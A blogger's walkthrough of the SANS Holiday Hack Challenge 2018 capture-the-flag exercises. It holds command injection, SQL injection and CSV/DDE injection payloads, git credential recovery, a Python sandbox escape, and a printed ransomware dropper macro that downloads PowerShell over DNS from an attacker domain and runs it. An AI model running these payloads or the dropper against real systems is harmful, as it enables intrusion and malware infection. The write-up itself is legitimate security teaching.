Hackerman's Hacking Tutorials

The knowledge of anything, since all things have causes, is not acquired or complete unless it is known by its causes. - Avicenna

Jan 15, 2019 - 28 minute read - Comments - CTF Crypto Reverse Engineering

SANS Holiday Hack Challenge 2018 Solutions

SANS Holiday hack challenge 2018 was fun. It was also the first one I tried. I liked the talks and that the challenges were accessible to most skill levels. I mean RCE through the -0 bug in v8 is great and all but I want people to be able to have fun and learn new skills.

If being a security consultant has taught me anything, it's that no one has time to read your 100 page report. So here are some quick solutions. I will post my notes from the Youtube videos in different posts.

1. Orientation Challenge

The answer is Happy Trails.

Just Google keywords from the question and you get the answers.

  1. Wireless Adapter
  2. ATNAS
  3. Business Card
  4. Cranberry Pi
  5. Snowballs
  6. The Great Book

Essential Editor Skills

Need to exit Vim with q! or wq! or whatever.

2. Directory Browsing

The answer is John McClane.

Go to the CFP website: https://cfp.kringlecastle.com/cfp/cfp.html.

Navigate to https://cfp.kringlecastle.com/cfp/ to see the directory listing.

cfp.html                                           08-Dec-2018 13:19                3391
rejected-talks.csv                                 08-Dec-2018 13:19               30677

Download rejected-talks.csv and search for the name of the talk.

qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,
    Data Loss for Rainbow Teams: A Path in the Darkness,1,11

The Name Game

The answer is Scott.

Using option 2, it asks for a server address to ping. It's vulnerable to command injection. We can pass commands after ;.

For example, passing ;ls:

Validating data store for employee onboard information.
Enter address of server: ;ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1  onboard.db  runtoanswer
onboard.db: SQLite 3.x database

We can see the vulnerable code inside menu.ps1 for option 2.

Write-Host "Validating data store for employee onboard information."
$server = Read-Host 'Enter address of server'
/bin/bash -c "/bin/ping -c 3 $server"
/bin/bash -c "/usr/bin/file onboard.db"
  1. Inject ;sqlite3 to be dropped into the sqlite prompt.
  2. .open onboard.db to open the db file
  3. .dump to get everything.
  4. Search for chan.
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,
    'Los Angeles','90067','4017533509','scottmchan90067@gmail.com');

3. de Bruijn Sequences

Morcel says Welcome unprepared speaker!.

Door Passcode

Pass code is 0120.

Proxy the requests with Burp or open up the browser's console as you enter a passcode. Symbols correspond with 0123.

The passcode is sent to the server in a POST request like this:

If passcode was wrong, we get:

{"success":false,"message":"Incorrect guess."}

There are 256 possible combination. Four place holders with four options, four to the power of four. No need to do anything other than bruteforce. With Burp Intruder (even the free edition's throttled Intruder), it's only a few minutes. Or we can write our own script in Python Go.

Passcode is 0120 and good response is:

    "message":"Correct guess!"}

The hash appears to be an HMAC of resourceId. Can we trick the client into opening the door by supplying our own? If it's an HMAC, the secret must be in the browser. I did not look into it.

Door passcode bruteforce in Burp Intruder Door passcode bruteforce in Burp Intruder

Lethal ForensicELFication

The answer is Elinore.

Vim leaves files behind.

$ ls -alt
total 5460
-rw-r--r-- 1 elf  elf     5063 Dec 14 16:13 .viminfo

cat .viminfo

$ cat .viminfo 
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
# Value of 'encoding' when this file was written
# hlsearch on (H) or off (h):
# Last Substitute Search Pattern:
# Last Substitute String:
# Command Line History (newest to oldest):
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"

File containing the poem is at /.secrets/her/poem.txt. But the answer is obvious from the substitution. It's Elinore.

4. Data Repo Analysis

The answer is Yippee-ki-yay.

git repo is at https://git.kringlecastle.com/Upatree/santas_castle_automation.

Look at the commits in the web interface. There's a commit named removing accidental commit.

A file was removed that had the password:

Hopefully this is the last time we have to change our password again until next Christmas. 
Password = 'Yippee-ki-yay'
Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'

The password allows us to open another file in the repository:

  • santas_castle_automation/schematics/ventilation_diagram.zip:

This file contains the plans for Google Ventilation near the Google booth in the castle lobby. Using the map allows you to bypass a number of challenges and directly go to Santa's secret room.

Google ventilation floor 1 Google ventilation floor 1 Google ventilation floor 2 Google ventilation floor 2

Stall Mucking Report

Answer is

  • smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"

The challenge hint talks about credentials in commands. We can see the complete output of ps with ps auxww. Remember that ps aux has truncated output.

$ ps auxww
root        10  0.0  0.0  49532  3212 pts/0    S    19:38   0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload

samba-wrapper.sh appears to be a wrapper for smbclient. We can figure out the parameters from the command above. We need to upload the report as user report-upload with password directreindeerflatterystable (apparently the equivalent of XKCD correct horse battery staple).

Command is:

smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"

5. AD Privilege Discovery


The image needs to be set to 64-bit Ubuntu or Debian to work on VirtualBox (it's set to 32-bit after importing the ova).

The VM image is at:

A shortcut to the tool Bloodhound is on the desktop. There's a built-in query for getting to domain admin from Kerberoastable accounts.

There are three accounts but two need RDP which is mentioned in the hints.

Bloodhound Builtin Query Bloodhound Builtin Query

CURLing Master

Answer is:

  • curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge

Supposedly the trigger to start the "Candy Striper" is an "arcane HTTP/2 call."

Partial contents of /etc/nginx/nginx.conf show the web server only has HTTP/2 enabled.

$ cat /etc/nginx/nginx.conf 
http {
    server {
    # love using the new stuff! -Bushy
            listen                  8080 http2;
            # server_name           localhost;
            root /var/www/html;

Looking at command history (use the up arrow key), we get some commands including this:

  • curl --http2-prior-knowledge http://localhost:8080/index.php

Running the command returns:

  <title>Candy Striper Turner-On'er</title>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

We can send this:

$ curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
  <title>Candy Striper Turner-On'er</title>
    <p>To turn the machine on, simply POST to this URL with parameter "status=on"
    <!-- removed -->
    <p>Congratulations! You've won and have successfully completed this challenge.
    <p>POSTing data in HTTP/2.0.

6. Badge Manipulation

The answer is 19880715.


To get into the room we need to upload a QRcode with the payload to do SQLi.

The request looks like:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com


If the barcode is not properly formatted:

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:50 GMT
Content-Type: application/json
Content-Length: 151
Connection: close

{"data":"EXCEPTION AT (LINE 135 
    Incorrect padding","request":false}

Now we if upload a QRcode with payload hello' (note the trailing '), we get this response:

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:28 GMT
Content-Type: application/json
Content-Length: 363
Connection: close

{"data":"EXCEPTION AT (LINE 96 \"user_info = 
query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"):
(1064, u\"You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''hello'' LIMIT 1' at line 1\")","request":false}

We can learn a few things:

  • The server is running MariaDB.
  • Original SQL query is
    • SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1"
  • Payload is injected in the value of uid.
  • If the format of the query is correct, we get these responses
    • {"data":"Authorized User Account Has Been Disabled!","request":false}
    • {"data":"No Authorized User Account Found!","request":false} I got this for hello' or '1'='1 -- ;.
  • Remember to pass a whitespace and a char after the comment for MariaDB to count it as a comment. The parser might not count it as a comment until it sees another character after it.


Try different payloads:

  • 3.png: hello' OR '1'='1 -- ;
  • 4.png: hello' OR 1=1 -- ;
  • 5.png: hello' AND enabled = 1 OR 1=1 -- ;
  • 6.png: hello' AND enabled = true OR 1=1 -- ; (1 and 0 are aliases for true and false in MariaDB)

The correct payload is ' OR enabled = 1 -- ; because we want an account that is both enabled and authorized.

  • SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 -- ; ' LIMIT 1

Response is

{"data":"User Access Granted - Control number 19880715","request":true,"success":

The answer is 19880715. And we are in Santa's secret room.

Yule Log Analysis

The answer is minty.candycane.

Someone did a password spray and then logged into one account. Find that account based on logs.

There's an evtx file and a python script to dump it as XML.

  • python evtx_dump.py ho-ho-no.evtx > dumped

And then I ran cat dumped and copied everything to a local text file on my machine.

To isolate password sprays, search for 4625 (event ID for unsuccessful logon). See the nice section in the minimap? That is out password spray.

Searching for 4625 in VS Code Searching for 4625 in VS Code

Copy/paste that part to a new file and look for successful logons (4624). There multiple logons in the password spray logs. Which one is the attacker?

The attacker did the password spray from one IP (or multiple IPs), so logon must be from one of those IPs. All password spray attempts came from So we search for a successful logon (4624) from that IP and we find minty.candycane.

Summary of log entry:

		<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
		<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
		<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
		<Security UserID=""></Security>
		<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
		<Data Name="SubjectLogonId">0x00000000000003e7</Data>
		<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
		<Data Name="TargetUserName">minty.candycane</Data>
		<Data Name="TargetDomainName">EM.KRINGLECON</Data>
		<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
		<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
		<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
		<Data Name="IpAddress"></Data>
		<Data Name="IpPort">38283</Data>

7. HR Incident Response

The answer is Fancy Beaver.

Careers Website

CSV payload is:

  • =CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1

We need to do CSV injection on https://careers.kringlecastle.com/ and access a file.

To exfiltrate the file, we need to copy it to a publicly accessible URL. We do not need to use our own server, the 404 page gives us the location of a publicly accessible directory along with its internal address.

Publicly accessible file served from:
C:\careerportal\resources\public\ not found......

https://careers.kringlecastle.com/public/'file name you are looking for'

The following csv file works:

111,=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1,33

Now we can access the file at https://careers.kringlecastle.com/public/myfile.txt, change the extension and view it.

The answer is Fancy Beaver.

Dev Ops Fail

The answer is twinkletwinkletwinkle.

Similar to another challenge, credentials have been committed to git and then overwritten. This time we do not have a nice web interface to view the commits and must use the command line.

kcconfmgmt is a git repo. Either grep -ir password or do git log -10 to see the last 10 commit messages.

Two of the commit messages are:

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500
    Per @tcoalbox admonishment, removed username/password from config.js, default settings
 in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 13:25:32 2018 -0500
    Add passport module

So the credentials where in config.js. It has been replaced by config.js.def which is clean:

elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js.def 
// Database URL
module.exports = {
    'url' : 'mongodb://username:password@'

We can just revert to the commit BEFORE THE OVERWRITE and look inside that file:

  • git checkout b2376f4a

config.js is now available:

elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js 
// Database URL
module.exports = {
    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@'

The answer is twinkletwinkletwinkle.

8. Network Traffic Forensics

The answer is Mary Had a Little Lamb.

Packet capture website is at https://packalyzer.kringlecastle.com/.

We get hints after completing the Python challenge (solution is below):

  • Packalyzer was rushed and deployed with development code sitting in the web root.
  • Look at HTML comments left behind to grab the server-side source code.
  • There is suspicious-looking development code using environment variables to store SSL keys and open up directories.
  • These errors can be used to compromise SSL on the website and steal logins.
  • Manipulating values in the URL gave back weird and descriptive errors.
  • The HTTP/2 talk has hints. The talk talks about decrypting SSL using Wireshark using extracted keys.

Make an account and login. Then we can sniff traffic and upload pcaps for analysis. In the Captures tab we can download/reanalyze/delete older pcaps.

Comments in code show the the name of source file:

  • //File upload Function. All extensions and sizes are validated server-side in app.js

Web root can be discovered by looking at asset URLs. They are all under pub. So app.js is at:

Weird and descriptive error looks like this:

app.js Analysis

Look at load_envs, they are opening up directories based on names of environmental variables. It was a common mistake to think they are based on values but they are just grabbing keys (Object.keys).

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
  return uniqueArray(dirs)

And they are used to open directories (remember we are in dev_mode):

if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];


We can go to:

And see the name of the SSLKEYLOGFILE environmental variable:

  • Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

But that is not the file name. It is, but not all of it. Again it was a common mistake on Discord to think http2packalyzer_clientrandom_ssl.log/ is the file name. The file is formatted neatly by separating different words with underscores BUT in the beginning, two words are mashed together unceremonially. http2 is part of the error message as we have seen before. The value is:

  • packalyzer_clientrandom_ssl.log

The complete path to the log file is inside app.js:

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time

Let's break down __dirname + process.env.DEV + process.env.SSLKEYLOGFILE.

Meaning the path is:

We see a bunch of keys. Remembering the associated Kringlecon talk, it seems they belong to pcaps that are generated by sniffing the traffic for 20 seconds inside the application. The trick is to sniff traffic and then quickly (well within a couple of minutes) get the keys. Now we can decrypt the traffic in Wireshark.

Inside Wireshark use the filter http2.data.data.

There does not seem to be a file there but there are multiple username/passwords there. Let's see if we can login as other people and sniff their traffic?

I tried doing another capture and it was the same. These credentials appear in all sniff captures:

{"username": "pepper", "password": "Shiz-Bamer_wabl182"}

{"username": "bushy", "password": "Floppity_Floopy-flab19283"}

{"username": "alabaster", "password": "Packer-p@re-turntable192"}

We can login as alabaster. There's something in his captures, download it and view it in Wireshark. This one is not SSL traffic, we can just read the file. Note the text of the email, it has a hint for later challenges.

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

There's a base64 encoded attachment in the TCP stream, we can copy it to a file and decode it.

Base64 encode decode w/o powershell:

$ certutil.exe -decode encoded-file.txt decoded-file
Input Length = 132161
Output Length = 97831
CertUtil: -decode command completed successfully.

Open it up in a hex editor, it's a PDF (see the header). Seems like it's about the Piano door lock.

Name of the song is the answer: Mary Had a Little Lamb.

Python Escape from LA

The answer is use the methods in the talk to generate bytecode. See solution below.

We're inside a Python interpreter and need to run ./i_escaped. The talk has the answer.

First, let's see what is banned out of the four keywords from the talk. Only eval is allowed.

>>> os = eval('__im' + 'port__("os")') 
>>> os.system("ls")
Use of the command os.system is prohibited for this question.
  • os.system is banned.
  • subprocess is also banned.
  • popen is banned. seems like they are filtering open which catches popen too.
>>> subprocess.popen
Use of the command open is prohibited for this question.

Let's find the Python version. make_object from the talk must be used in a similar version.

We are running in 3.5.2:

>>> sys = eval('__im' + 'port__("sys")') 
>>> sys.version
'3.5.2 (default, Nov 12 2018, 13:43:14) \n[GCC 5.4.0 20160609]'

I had a VM with 3.5.2 so I used this:

def bypass():
    import os

To get:

def a():

a.__code__ = type(a.__code__)(0,0,1,3,67,b'd\x01\x00d\x00\x00l\x00\x00}\x00\x00t\x01\x00|\x00\x00j\x02\x00d\x02\x00\x83\x01\x00\x83\x01\x00\x01d\x00\x00S',(None, 0, './i_escaped'),('os', 'print', 'system'),('os',),'<stdin>','bypass',1,b'\x00\x01\x0c\x01')

And it works:

Loading, please wait......
  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!

9. Ransomware Recovery

Challenge with multiple sections.

The Sleighball

The answer is solution is below.

The article in the hints section, using gdb to call random functions shows how to use GDB to directly jump to winnerwinner. I changed the drawing number because I think it's a better way.

We need to win the lottery:

$ ./sleighbell-lotto 

The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...

You drew ticket number 4965!

Sorry - better luck next year!

The winning number seems to be 1225 all the time.

We can dump everything for offline analysis, but it's not needed:

  • objdump -M intel -D sleighbell-lotto > dump1

objdump can dump the symbol table and shows different functions. One is winnerwinner. We can jump directly to it and win but I'd rather go to main.

$ objdump --syms sleighbell-lotto 
sleighbell-lotto:     file format elf64-x86-64
// removed random symbols
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              memset@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              exit@@GLIBC_2.2.5
0000000000208060 g     O .data  0000000000000008              winnermsg
0000000000000fd7 g     F .text  00000000000004e0              winnerwinner
0000000000208070 g     O .bss   0000000000000008              decoded_data
0000000000000000       F *UND*  0000000000000000              srand@@GLIBC_2.2.5
00000000000014b7 g     F .text  0000000000000013              sorry
0000000000000000       F *UND*  0000000000000000              rand@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              time@@GLIBC_2.2.5
00000000000014ca g     F .text  00000000000000e1              main

Run it in GDB and break main and set disassembly-flavor intel (because AT&T syntax sucks).

Then disass on main to see where we are and see the check. I went through main and analyzed everything (side note: analysis was one of the banned words in the chat). See the analysis below but you can skip it:

Important part is here:

; removed
; drawn number is manipulated and stored here
0x000055555555553c <+114>:   mov    DWORD PTR [rbp-0x4],eax
; removed
; later it's compared to 1225 or 0x04C9
0x0000555555555582 <+184>:   cmp    DWORD PTR [rbp-0x4],0x4c9
; if not equal, jump to sorry if not continue
0x0000555555555589 <+191>:   jne    0x555555555597 <main+205>
0x000055555555558b <+193>:   mov    eax,0x0
; if equal, continuing execution reaches winnerwinner
0x0000555555555590 <+198>:   call   0x555555554fd7 <winnerwinner>
0x0000555555555595 <+203>:   jmp    0x5555555555a1 <main+215>
0x0000555555555597 <+205>:   mov    eax,0x0
; jump here if numbers are not equal
0x000055555555559c <+210>:   call   0x5555555554b7 <sorry>
0x00005555555555a1 <+215>:   mov    edi,0x0
0x00005555555555a6 <+220>:   call   0x555555554920 <exit@plt>

There are multiple ways to do this:

  • Set a breakpoint on mov DWORD PTR [rbp-0x4],eax and modified the value of eax to 0x04C9.
  • Set a breakpoint on jne 0x555555555597 <main+205> and change the ZF.
  • And more.

I did the first one:

break *0x000055555555554c
c # continue
set $rax = 0x4c9
c # continue

More Analysis

Something is pushed to rdi and then getenv is called. We can break on the call getenv line and read the contents of rdi.

0x00005555555554d9 <+15>:    call   0x555555554970 <getenv@plt>
0x00005555555554de <+20>:    test   rax,rax
0x00005555555554e1 <+23>:    jne    0x5555555554f9 <main+47>

Let's see what it does:

(gdb) x/s $rdi
0x55555555abaf: "RESOURCE_ID"

So it's reading RESOURCE_ID from environmental variables and if it's not zero (see test rax rax) it jumps to main+47.

si steps in and ni steps over for assembly instructions. In this case the result is:

(gdb) x/s $rax
0x7fffffffe951: "7a29a437-8523-4513-828e-53394fa647a4"

Might be a check to see if it's running in a docker container?

Next edi is set to zero and then time is called. Which gets the time.

0x00005555555554fe <+52>:    call   0x5555555549e0 <time@plt>
0x0000555555555503 <+57>:    mov    edi,eax

After the function call rax has the current time. View them with info registers:

  • rax 0x5c28c70b 1546176267
  • edi now has the time.

srand(time) calls srand and seeds it with the current time.

Before puts we can see rdi and see it always prints the following text.

0x0000555555555505 <+59>:    call   0x5555555549a0 <srand@plt>
0x000055555555550a <+64>:    lea    rdi,[rip+0x583f]        # 0x55555555ad50

Finally, the intro text is printed. Meaning the winning ticket is always the same. Maybe not, but the text is always the same.

0x0000555555555511 <+71>:    call   0x555555554910 <puts@plt>
0x0000555555555516 <+76>:    mov    edi,0x1

(gdb) x/s $rdi
0x55555555ad50: "\nThe winning ticket is number 1225.\nRolling the tumblers to see what nu
mber you'll draw...\n"

Then it sleeps for a second (see sleep).

Then calls rand and then does a bunch of stuff to it to generate our number:

0x0000555555555520 <+86>:    call   0x5555555549c0 <rand@plt>
0x0000555555555525 <+91>:    mov    ecx,eax
0x0000555555555527 <+93>:    mov    edx,0x68db8bad
0x000055555555552c <+98>:    mov    eax,ecx
0x000055555555552e <+100>:   imul   edx
0x0000555555555530 <+102>:   sar    edx,0xc
0x0000555555555533 <+105>:   mov    eax,ecx
0x0000555555555535 <+107>:   sar    eax,0x1f
0x0000555555555538 <+110>:   sub    edx,eax
0x000055555555553a <+112>:   mov    eax,edx
0x000055555555553c <+114>:   mov    DWORD PTR [rbp-0x4],eax

Long story short, the result of calculation ends up in eax and stored in memory.

0x000055555555554c <+130>:   mov    DWORD PTR [rbp-0x4],eax

Set a breakpoint here and change the value to 0x04C9 and we're done.

(gdb) set $rax = 0x4c9
(gdb) c
You drew ticket number 1225!

// removed ASCII art

With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.

9.1 Catch the Malware

The answer contains two rules. For both outgoing and incoming DNS traffic with a specific string in them:

alert udp any any -> any 53 (msg:"malware DNS request"; sid:10000001; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
alert udp any 53 -> any any (msg:"malware DNS response";sid:10000002; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
  1. Login to the web interface at http://snortsensor1.kringlecastle.com/ and download some pcaps.
  2. Look inside them and see the DNS requests. 77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net 77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com 12.77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net 16.77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com 1.77616E6E61636F6F6B69652E6D696E2E707331.hngaerrbus.org
  3. They all share the same string:
    • 77616E6E61636F6F6B69652E6D696E2E707331

Create Snort rules for both sides of traffic as seen above:

[+] Congratulation! Snort is alerting on all ransomware and only the ransomware! 

9.2 Identify the Domain

The answer is erohetfanu.com.

We have already seen the domain in Wireshark, it's erohetfanu.com.

Dropper Analysis

There's a zip file with a docm in it. Password is elves.

Nevertheless, the domain can be discovered in different ways using dynamic analysis.

  • Process Monitor with TCP Connect or UDP Connect filters.
  • Wireshark
  • Microsoft Network Monitor: Displays traffic by each process.

I use this simple trick at work to find domains with dynamic analysis:

  1. Clear the Windows DNS cache with ipconfig /flushdns.
  2. Run the malware.
  3. Look at the local DNS cache with ipconfig /displaydns.
  4. Remove the hardcoded entries by Windows and the hosts file.
  5. The remaining entries contain the endpoints.
  6. ???
  7. Profit

After downloading the docm file, Windows defender goes haywire.

file: C:\...\CHOCOLATE_CHIP_COOKIE_RECIPE.docm->word/vbaProject.bin

We can run olevba on it to get the macro. Seems like there are two macros with the same content.

olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
Type: OpenXML
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

Seems like the Powershell payload is base64 encoded and then compressed.

Cyberchef to the rescue with these filters:


And we get

function H2A($a) {
    $a  - split '(..)' | ? {

    | forEach {
        [char]([convert]::toint16($_, 16))

    | forEach {
        $o = $o  +  $_
    return $o
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve - DnsName  - Server erohetfanu.com  - Name "$f.erohetfanu.com"  - Type TXT).strings, 10) - 1)) {
    $h += (Resolve - DnsName  - Server erohetfanu.com  - Name "$i.$f.erohetfanu.com"  - Type TXT).strings

We can see the domain there too.

Getting The Malware

This macro downloads something and then executes it with iex. We can make it do the work for us. Modify the last line:

  • From: iex($(H2A $h | Out - string))
  • To: H2A $h | Out - string

And it spits out the malware. Using the talk, I cleaned it up and renamed functions:


The malware is targeting specific domains. It does not activate if the computer is not part of the domain KRINGLECASTLE or it has something running on The second check is to prevent double infection because the malware sets up a web server at that address after the infection.

In order to make the malware work in our VM, I modified the domain check to work if our domain is not KRINGLECASTLE by changing -ne to -eq in the second if condition:

  • From: (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE")
  • To: (Get-WmiObject Win32_ComputerSystem).Domain -eq "KRINGLECASTLE")
if ($(netstat -ano | Select-String "").Length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -eq "KRINGLECASTLE") {

9.3 Stop the Malware

The answer is yippeekiyaa.aaay.

We are looking for a killswitch [similar to WannaCry(https://www.wired.com/2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack/)]. The WannaCry checked for a non-registered domain and if it got a response from that domain, it would not activate. In the malware source code we can check termination by looking for return instructions.

The following return check looks familiar:

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    if ($null -ne ((Resolve-DnsName -Name $(HexToASCII $(ByteToHex $(XOR $(ByteToHex $(GzipToBytes $(HexToByte $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server {

Is this the killswitch? Yes, it is.

We can print the result by modifying the original script:

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"

    $(HexToASCII $(ByteToHex $(XOR $(ByteToHex $(GzipToBytes $(HexToByte $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))) | Out-String

And we have the killswitch: yippeekiyaa.aaay.

9.4 Recover Alabaster's Password

The answer is ED#ED#EED#EF#G#F#G#ABA#BA#B.

In this part, we have a memory dump and a file and we need to recover the key. See the talk KringleCon 2018 - Chris Davis, Analyzing PowerShell Malware.

Use power dump to process the memory file as shown in the talk.

Then look for variables:

  • matches "^[a-fA-F0-9]+$"
  • len == 32 because key is 16-bytes

We get five hits


